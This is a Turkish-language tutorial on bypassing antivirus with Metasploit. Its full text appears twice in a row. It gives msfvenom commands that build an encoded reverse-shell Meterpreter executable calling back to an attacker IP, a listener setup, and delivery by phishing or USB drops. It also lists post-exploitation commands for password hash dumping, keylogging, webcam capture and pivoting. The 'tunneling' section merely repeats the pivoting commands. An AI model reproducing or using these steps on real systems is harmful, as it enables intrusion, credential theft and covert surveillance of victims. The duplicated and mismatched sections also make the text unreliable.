Metasploit, zafiyetli sistemlere saldırmak için kullanılan bir araçtır. Metasploit'in msfvenom adlı bir modülü, farklı platformlar ve hedefler için çeşitli payloadlar oluşturmak ve kodlamak için kullanılır. Payload, hedef sisteme sızdırılan ve saldırganın kontrolünü sağlayan zararlı koddur. Kodlama, payloadın antivirüs veya güvenlik duvarları tarafından tespit edilmesini zorlaştırmak için yapılan bir işlemdir.
Metasploit kullanarak antivirüs atlatma için aşağıdaki adımları izleyebilirsiniz:
1. Adım: Msfvenom ile payload oluşturmak
Msfvenom, msfpayload ve msfencode araçlarının birleşimidir. Msfpayload, payload oluşturmak için kullanılırken, msfencode, payloadı kodlamak için kullanılır. Msfvenom, bu iki işlemi tek bir komutla yapabilir.
Örneğin, windows sistemine sızıp tersine bağlantı kurmak için bir payload oluşturmak istiyorsanız, aşağıdaki komutu kullanabilirsiniz:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=4444 -f exe -o test.exe
Bu komut, windows/meterpreter/reverse_tcp adlı bir payload oluşturur. Bu payload, hedef sistemde çalıştırıldığında, 192.168.1.102 IP adresindeki ve 4444 portundaki saldırgan makinesine bağlanır. -f parametresi, çıktı formatını belirtir. Bu örnekte, exe formatı seçilmiştir. -o parametresi, oluşturulan dosyanın adını ve konumunu belirtir. Bu örnekte, test.exe adlı bir dosya oluşturulur.
Msfvenom, birçok farklı payload, format, kodlayıcı, platform ve mimari seçeneği sunar. Bu seçenekleri görmek için, aşağıdaki komutları kullanabilirsiniz:
msfvenom -l payloads # payload listesi
msfvenom -l formats # format listesi
msfvenom -l encoders # kodlayıcı listesi
msfvenom -l platforms # platform listesi
msfvenom -l archs # mimari listesi
Msfvenom, payload oluştururken bazı parametreleri de alabilir. Bu parametreler, payloadın çalışma şeklini veya özelliklerini belirler. Örneğin, payloadın çalıştırılacağı işletim sistemi, bağlantı kurulacak IP adresi ve portu, payloadın boyutu, kaç kere kodlanacağı, kaçmak istediğimiz karakterler, eklemek istediğimiz kodlar, kullanmak istediğimiz şablonlar gibi parametreler vardır. Bu parametreleri görmek için, aşağıdaki komutu kullanabilirsiniz:
msfvenom -p windows/meterpreter/reverse_tcp --payload-options
Bu komut, windows/meterpreter/reverse_tcp payloadı için kullanabileceğimiz parametreleri gösterir. Bu parametreleri, -p parametresinden sonra yazarak kullanabiliriz. Örneğin, aşağıdaki komut, payloadın boyutunu 300 byte ile sınırlar, payloadı 10 kere shikata_ga_nai kodlayıcısı ile kodlar ve badchars adlı bir dosyada belirtilen karakterleri kaçınır.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=4444 -s 300 -i 10 -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -f exe -o test.exe
2. Adım: Metasploit ile payloadı dinlemek
Msfvenom ile payload oluşturduktan sonra, bu payloadı hedef sistemde çalıştırmak için, metasploit frameworkü kullanarak payloadı dinlememiz gerekir. Bunun için, aşağıdaki komutları kullanabiliriz:
msfconsole # metasploit frameworkünü başlatır
use exploit/multi/handler # çoklu handler exploitini kullanır
set payload windows/meterpreter/reverse_tcp # payloadı seçer
set LHOST 192.168.1.102 # dinleme IP adresini belirtir
set LPORT 4444 # dinleme portunu belirtir
exploit # exploit işlemini başlatır
Bu komutlar, metasploit frameworkünü başlatır, çoklu handler exploitini kullanır, payloadı seçer, dinleme IP adresini ve portunu belirtir ve exploit işlemini başlatır. Bu aşamada, metasploit frameworkü, payloadın bağlanmasını bekler.
3. Adım: Payloadı hedef sistemde çalıştırmak
Payloadı hedef sistemde çalıştırmak için, oluşturduğumuz exe dosyasını hedef sisteme ulaştırmamız gerekir. Bu, sosyal mühendislik, phishing, USB bırakma, zafiyetli web uygulamaları, zafiyetli servisler gibi yöntemlerle yapılabilir. Hedef sistemde antivirüs programı varsa, payloadın tespit edilmesini önlemek için kodlama işlemi yapmamız gerekir. Bu, msfvenom ile yapılabilir. Ayrıca, payloadın masum bir uygulama gibi görünmesi için, şablon kullanabilir veya ikon değiştirebiliriz.
Payloadı hedef sistemde çalıştırdığımızda, metasploit frameworkü ile bağlantı kurar ve bize bir meterpreter oturumu açar. Meterpreter, hedef sistem üzerinde çeşitli işlemler yapmamızı sağlayan güçlü bir payloaddır. Meterpreter oturumunda, aşağıdaki komutları kullanabiliriz:
help # yardım menüsünü gösterir
sysinfo # hedef sistemin bilgilerini gösterir
getuid # hedef sistemdeki kullanıcı adını gösterir
getpid # hedef sistemdeki işlem numarasını gösterir
ps # hedef sistemdeki işlemleri listeler
migrate [PID] # hedef sistemdeki başka bir işleme geçer
hashdump # hedef sistemdeki parola hashlerini çeker
screenshot # hedef sistemdeki ekran görüntüsünü alır
webcam_snap # hedef sistemdeki web kamerasından fotoğraf çeker
keyscan_start # hedef sistemdeki klavye tuşlarını kaydeder
keyscan_dump # hedef sistemdeki klavye tuşlarını gösterir
keyscan_stop # hedef sistemdeki klavye tuşlarını kaydetmeyi durdurur
download [FILE] # hedef sistemden dosya indirir
upload [FILE] # hedef sisteme dosya yükler
shell # hedef sistemde komut satırı açar
run [SCRIPT] # hedef sistemde script çalıştırır
background # meterpreter oturumunu arka plana alır
sessions # mevcut oturumları listeler
sessions -i [ID] # belirli bir oturuma geçer
exit # meterpreter oturumundan çıkar
Bu komutlar, hedef sistem üzerinde çeşitli işlemler yapmamızı sağlar. Bu işlemler, hedef sistemin bilgilerini almak, kullanıcı adını ve parolalarını çalmak, ekran görüntüsü ve web kamera fotoğrafı almak, klavye tuşlarını kaydetmek, dosya indirmek ve yüklemek, komut satırı açmak, script çalıştırmak gibi işlemlerdir.
Bu adımları takip ederek, metasploit kullanarak antivirüs atlatma işlemini tamamladınız. Artık hedef sistem üzerinde istediğiniz işlemleri yapabilirsiniz. Ancak, bu işlemleri yaparken dikkatli olmanız gerekir. Çünkü, hedef sistemdeki güvenlik önlemleri, ağ trafiğini izleyebilir, anormal davranışları tespit edebilir veya sizin bağlantınızı kesmeye çalışabilir. Bu nedenle, bağlantınızı korumak ve gizlemek için bazı teknikler kullanmanız gerekebilir. Bu teknikler, şunlardır:
- Port forwarding: Bu teknik, hedef sistemdeki bir portu, saldırgan makinesindeki bir porta yönlendirir. Böylece, hedef sistemdeki bir servise veya uygulamaya, saldırgan makinesinden erişilebilir. Örneğin, hedef sistemdeki 3389 portunda çalışan uzak masaüstü servisine, saldırgan makinesindeki 4445 portundan erişmek için, aşağıdaki komutu kullanabilirsiniz:
meterpreter > portfwd add -l 4445 -p 3389 -r 127.0.0.1
Bu komut, hedef sistemdeki 3389 portunu, saldırgan makinesindeki 4445 portuna yönlendirir. Bu sayede, saldırgan makinesinden uzak masaüstü bağlantısı kurabilirsiniz.
- Pivoting: Bu teknik, hedef sistemdeki bir ağ arayüzünü, saldırgan makinesindeki bir ağ arayüzü gibi kullanmaktır. Böylece, hedef sistemdeki ağa bağlı olan diğer sistemlere, saldırgan makinesinden erişilebilir. Örneğin, hedef sistemdeki 192.168.2.0/24 ağına, saldırgan makinesinden erişmek için, aşağıdaki komutları kullanabilirsiniz:
meterpreter > run autoroute -s 192.168.2.0/24 # hedef sistemdeki ağ arayüzünü yönlendirir
meterpreter > background # meterpreter oturumunu arka plana alır
msf > use auxiliary/server/socks4a # socks4a proxy sunucusunu kullanır
msf auxiliary(socks4a) > set SRVPORT 1080 # proxy sunucusunun portunu belirtir
msf auxiliary(socks4a) > run # proxy sunucusunu çalıştırır
Bu komutlar, hedef sistemdeki 192.168.2.0/24 ağ arayüzünü yönlendirir, meterpreter oturumunu arka plana alır, socks4a proxy sunucusunu kullanır, proxy sunucusunun portunu belirtir ve proxy sunucusunu çalıştırır. Bu sayede, saldırgan makinesindeki bir tarayıcı veya tarama aracı ile, hedef sistemdeki ağa bağlı olan diğer sistemlere erişebilirsiniz.
- Tunneling: Bu teknik, hedef sistemdeki bir ağ trafiğini, saldırgan makinesindeki bir ağ trafiği gibi göstermektir. Böylece, hedef sistemdeki güvenlik önlemlerini atlatmak veya gizli kalmak mümkün olur. Örneğin, hedef sistemdeki bir web sitesine, saldırgan makinesindeki bir web tarayıcısı ile erişmek için, aşağıdaki komutları kullanabilirsiniz:
meterpreter > run autoroute -s 192.168.2.0/24 # hedef sistemdeki ağ arayüzünü yönlendirir
meterpreter > background # meterpreter oturumunu arka plana alır
msf > use auxiliary/server/socks4a # socks4a proxy sunucusunu kullanır
msf auxiliary(socks4a) > set SRVPORT 1080 # proxy sunucusunun portunu belirtir
msf auxiliary(socks4a) > run # proxy sunucusunu çalıştırır
Bu komutlar, hedef sistemdeki 192.168.2.0/24 ağ arayüzünü yönlendirir, meterpreter oturumunu arka plana alır, socks4a proxy sunucusunu kullanır, proxy sunucusunun portunu belirtir ve proxy sunucusunu çalıştırır. Bu sayede, saldırgan makinesindeki bir web tarayıcısının ayarlarını değiştirerek, proxy sunucusunu kullanabilir ve hedef sistemdeki web sitesine erişebilirsiniz.
Bu teknikleri kullanarak, metasploit kullanarak antivirüs atlatma işlemini daha etkili ve güvenli bir şekilde yapabilirsiniz.
Metasploit kullanarak antivirüs atlatma için aşağıdaki adımları izleyebilirsiniz:
1. Adım: Msfvenom ile payload oluşturmak
Msfvenom, msfpayload ve msfencode araçlarının birleşimidir. Msfpayload, payload oluşturmak için kullanılırken, msfencode, payloadı kodlamak için kullanılır. Msfvenom, bu iki işlemi tek bir komutla yapabilir.
Örneğin, windows sistemine sızıp tersine bağlantı kurmak için bir payload oluşturmak istiyorsanız, aşağıdaki komutu kullanabilirsiniz:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=4444 -f exe -o test.exe
Bu komut, windows/meterpreter/reverse_tcp adlı bir payload oluşturur. Bu payload, hedef sistemde çalıştırıldığında, 192.168.1.102 IP adresindeki ve 4444 portundaki saldırgan makinesine bağlanır. -f parametresi, çıktı formatını belirtir. Bu örnekte, exe formatı seçilmiştir. -o parametresi, oluşturulan dosyanın adını ve konumunu belirtir. Bu örnekte, test.exe adlı bir dosya oluşturulur.
Msfvenom, birçok farklı payload, format, kodlayıcı, platform ve mimari seçeneği sunar. Bu seçenekleri görmek için, aşağıdaki komutları kullanabilirsiniz:
msfvenom -l payloads # payload listesi
msfvenom -l formats # format listesi
msfvenom -l encoders # kodlayıcı listesi
msfvenom -l platforms # platform listesi
msfvenom -l archs # mimari listesi
Msfvenom, payload oluştururken bazı parametreleri de alabilir. Bu parametreler, payloadın çalışma şeklini veya özelliklerini belirler. Örneğin, payloadın çalıştırılacağı işletim sistemi, bağlantı kurulacak IP adresi ve portu, payloadın boyutu, kaç kere kodlanacağı, kaçmak istediğimiz karakterler, eklemek istediğimiz kodlar, kullanmak istediğimiz şablonlar gibi parametreler vardır. Bu parametreleri görmek için, aşağıdaki komutu kullanabilirsiniz:
msfvenom -p windows/meterpreter/reverse_tcp --payload-options
Bu komut, windows/meterpreter/reverse_tcp payloadı için kullanabileceğimiz parametreleri gösterir. Bu parametreleri, -p parametresinden sonra yazarak kullanabiliriz. Örneğin, aşağıdaki komut, payloadın boyutunu 300 byte ile sınırlar, payloadı 10 kere shikata_ga_nai kodlayıcısı ile kodlar ve badchars adlı bir dosyada belirtilen karakterleri kaçınır.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=4444 -s 300 -i 10 -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -f exe -o test.exe
2. Adım: Metasploit ile payloadı dinlemek
Msfvenom ile payload oluşturduktan sonra, bu payloadı hedef sistemde çalıştırmak için, metasploit frameworkü kullanarak payloadı dinlememiz gerekir. Bunun için, aşağıdaki komutları kullanabiliriz:
msfconsole # metasploit frameworkünü başlatır
use exploit/multi/handler # çoklu handler exploitini kullanır
set payload windows/meterpreter/reverse_tcp # payloadı seçer
set LHOST 192.168.1.102 # dinleme IP adresini belirtir
set LPORT 4444 # dinleme portunu belirtir
exploit # exploit işlemini başlatır
Bu komutlar, metasploit frameworkünü başlatır, çoklu handler exploitini kullanır, payloadı seçer, dinleme IP adresini ve portunu belirtir ve exploit işlemini başlatır. Bu aşamada, metasploit frameworkü, payloadın bağlanmasını bekler.
3. Adım: Payloadı hedef sistemde çalıştırmak
Payloadı hedef sistemde çalıştırmak için, oluşturduğumuz exe dosyasını hedef sisteme ulaştırmamız gerekir. Bu, sosyal mühendislik, phishing, USB bırakma, zafiyetli web uygulamaları, zafiyetli servisler gibi yöntemlerle yapılabilir. Hedef sistemde antivirüs programı varsa, payloadın tespit edilmesini önlemek için kodlama işlemi yapmamız gerekir. Bu, msfvenom ile yapılabilir. Ayrıca, payloadın masum bir uygulama gibi görünmesi için, şablon kullanabilir veya ikon değiştirebiliriz.
Payloadı hedef sistemde çalıştırdığımızda, metasploit frameworkü ile bağlantı kurar ve bize bir meterpreter oturumu açar. Meterpreter, hedef sistem üzerinde çeşitli işlemler yapmamızı sağlayan güçlü bir payloaddır. Meterpreter oturumunda, aşağıdaki komutları kullanabiliriz:
help # yardım menüsünü gösterir
sysinfo # hedef sistemin bilgilerini gösterir
getuid # hedef sistemdeki kullanıcı adını gösterir
getpid # hedef sistemdeki işlem numarasını gösterir
ps # hedef sistemdeki işlemleri listeler
migrate [PID] # hedef sistemdeki başka bir işleme geçer
hashdump # hedef sistemdeki parola hashlerini çeker
screenshot # hedef sistemdeki ekran görüntüsünü alır
webcam_snap # hedef sistemdeki web kamerasından fotoğraf çeker
keyscan_start # hedef sistemdeki klavye tuşlarını kaydeder
keyscan_dump # hedef sistemdeki klavye tuşlarını gösterir
keyscan_stop # hedef sistemdeki klavye tuşlarını kaydetmeyi durdurur
download [FILE] # hedef sistemden dosya indirir
upload [FILE] # hedef sisteme dosya yükler
shell # hedef sistemde komut satırı açar
run [SCRIPT] # hedef sistemde script çalıştırır
background # meterpreter oturumunu arka plana alır
sessions # mevcut oturumları listeler
sessions -i [ID] # belirli bir oturuma geçer
exit # meterpreter oturumundan çıkar
Bu komutlar, hedef sistem üzerinde çeşitli işlemler yapmamızı sağlar. Bu işlemler, hedef sistemin bilgilerini almak, kullanıcı adını ve parolalarını çalmak, ekran görüntüsü ve web kamera fotoğrafı almak, klavye tuşlarını kaydetmek, dosya indirmek ve yüklemek, komut satırı açmak, script çalıştırmak gibi işlemlerdir.
Bu adımları takip ederek, metasploit kullanarak antivirüs atlatma işlemini tamamladınız. Artık hedef sistem üzerinde istediğiniz işlemleri yapabilirsiniz. Ancak, bu işlemleri yaparken dikkatli olmanız gerekir. Çünkü, hedef sistemdeki güvenlik önlemleri, ağ trafiğini izleyebilir, anormal davranışları tespit edebilir veya sizin bağlantınızı kesmeye çalışabilir. Bu nedenle, bağlantınızı korumak ve gizlemek için bazı teknikler kullanmanız gerekebilir. Bu teknikler, şunlardır:
- Port forwarding: Bu teknik, hedef sistemdeki bir portu, saldırgan makinesindeki bir porta yönlendirir. Böylece, hedef sistemdeki bir servise veya uygulamaya, saldırgan makinesinden erişilebilir. Örneğin, hedef sistemdeki 3389 portunda çalışan uzak masaüstü servisine, saldırgan makinesindeki 4445 portundan erişmek için, aşağıdaki komutu kullanabilirsiniz:
meterpreter > portfwd add -l 4445 -p 3389 -r 127.0.0.1
Bu komut, hedef sistemdeki 3389 portunu, saldırgan makinesindeki 4445 portuna yönlendirir. Bu sayede, saldırgan makinesinden uzak masaüstü bağlantısı kurabilirsiniz.
- Pivoting: Bu teknik, hedef sistemdeki bir ağ arayüzünü, saldırgan makinesindeki bir ağ arayüzü gibi kullanmaktır. Böylece, hedef sistemdeki ağa bağlı olan diğer sistemlere, saldırgan makinesinden erişilebilir. Örneğin, hedef sistemdeki 192.168.2.0/24 ağına, saldırgan makinesinden erişmek için, aşağıdaki komutları kullanabilirsiniz:
meterpreter > run autoroute -s 192.168.2.0/24 # hedef sistemdeki ağ arayüzünü yönlendirir
meterpreter > background # meterpreter oturumunu arka plana alır
msf > use auxiliary/server/socks4a # socks4a proxy sunucusunu kullanır
msf auxiliary(socks4a) > set SRVPORT 1080 # proxy sunucusunun portunu belirtir
msf auxiliary(socks4a) > run # proxy sunucusunu çalıştırır
Bu komutlar, hedef sistemdeki 192.168.2.0/24 ağ arayüzünü yönlendirir, meterpreter oturumunu arka plana alır, socks4a proxy sunucusunu kullanır, proxy sunucusunun portunu belirtir ve proxy sunucusunu çalıştırır. Bu sayede, saldırgan makinesindeki bir tarayıcı veya tarama aracı ile, hedef sistemdeki ağa bağlı olan diğer sistemlere erişebilirsiniz.
- Tunneling: Bu teknik, hedef sistemdeki bir ağ trafiğini, saldırgan makinesindeki bir ağ trafiği gibi göstermektir. Böylece, hedef sistemdeki güvenlik önlemlerini atlatmak veya gizli kalmak mümkün olur. Örneğin, hedef sistemdeki bir web sitesine, saldırgan makinesindeki bir web tarayıcısı ile erişmek için, aşağıdaki komutları kullanabilirsiniz:
meterpreter > run autoroute -s 192.168.2.0/24 # hedef sistemdeki ağ arayüzünü yönlendirir
meterpreter > background # meterpreter oturumunu arka plana alır
msf > use auxiliary/server/socks4a # socks4a proxy sunucusunu kullanır
msf auxiliary(socks4a) > set SRVPORT 1080 # proxy sunucusunun portunu belirtir
msf auxiliary(socks4a) > run # proxy sunucusunu çalıştırır
Bu komutlar, hedef sistemdeki 192.168.2.0/24 ağ arayüzünü yönlendirir, meterpreter oturumunu arka plana alır, socks4a proxy sunucusunu kullanır, proxy sunucusunun portunu belirtir ve proxy sunucusunu çalıştırır. Bu sayede, saldırgan makinesindeki bir web tarayıcısının ayarlarını değiştirerek, proxy sunucusunu kullanabilir ve hedef sistemdeki web sitesine erişebilirsiniz.
Bu teknikleri kullanarak, metasploit kullanarak antivirüs atlatma işlemini daha etkili ve güvenli bir şekilde yapabilirsiniz.



